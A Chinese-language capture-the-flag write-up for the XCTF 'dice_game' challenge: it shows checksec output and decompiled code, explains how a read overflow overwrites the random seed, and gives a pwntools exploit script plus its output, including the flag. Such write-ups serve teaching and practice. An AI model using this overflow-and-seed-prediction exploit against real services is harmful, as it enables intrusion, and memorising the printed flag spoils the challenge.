

老规矩，查看保护

```
fish@ubuntu:~/Desktop/XCTF$ checksec dice_game
[*] '/home/fish/Desktop/XCTF/dice_game'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       PIE enabled
```

丢进 IDA 查看漏洞:

```
1 __int64 __fastcall main(__int64 a1, char **a2, char **a3)
2 {
3     char buf[55]; // [rsp+0h] [rbp-50h]
4     char v5; // [rsp+37h] [rbp-19h]
5     ssize_t v6; // [rsp+38h] [rbp-18h]
6     unsigned int seed[2]; // [rsp+40h] [rbp-10h]
7     unsigned int v8; // [rsp+4Ch] [rbp-4h]
8
9     memset(buf, 0, 0x30uLL);
10    *(_QWORD *)seed = time(0LL);
11    printf("Welcome, let me know your name: ", a2);
12    fflush(stdout);
13    v6 = read(0, buf, 0x50uLL);
14    if ( v6 <= 49 )
15        buf[v6 - 1] = 0;
16    printf("Hi, %s. Let's play a game.\n", buf);
17    fflush(stdout);
18    srand(seed[0]);
19    v8 = 1;
20    v5 = 0;
21    while ( 1 )
22    {
23        printf("Game %d/50\n", v8);
24        v5 = sub_A20();
25        fflush(stdout);
26        if ( v5 != 1 )
27            break;
28        if ( v8 == 50 )
29        {
30            sub_B28(buf);
31            break;
32        }
33        ++v8;
34    }
35    puts("Bye bye!");
36    return 0LL;
```

显然 v6 可以溢出覆盖掉随机数种子，然后就可以按照随机数种输入了

```

from pwn import *
from ctypes import *

r=remote('111.198.29.45',36404)
libc=cdll.LoadLibrary('libc.so.6')
payload='a'*0x40+p64(0)
r.sendline(payload)
libc.srand(0)
for i in range(50):
    r.recvuntil('Give me the point(1~6):')
    r.sendline(str(libc.rand()%6+1))
r.interactive()

```

得到 flag:

```

fish@ubuntu:~/Desktop/XCTF$ python dice_game_pwn.py
[+] Opening connection to 111.198.29.45 on port 36404: Done
[*] Switching to interactive mode
You win.
Congrats aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
cyberpeace{9e46feb2b0d0e6b6bb2c934d19583c3e}
Bye bye!
[*] Got EOF while reading in interactive
$ ls
$ 

```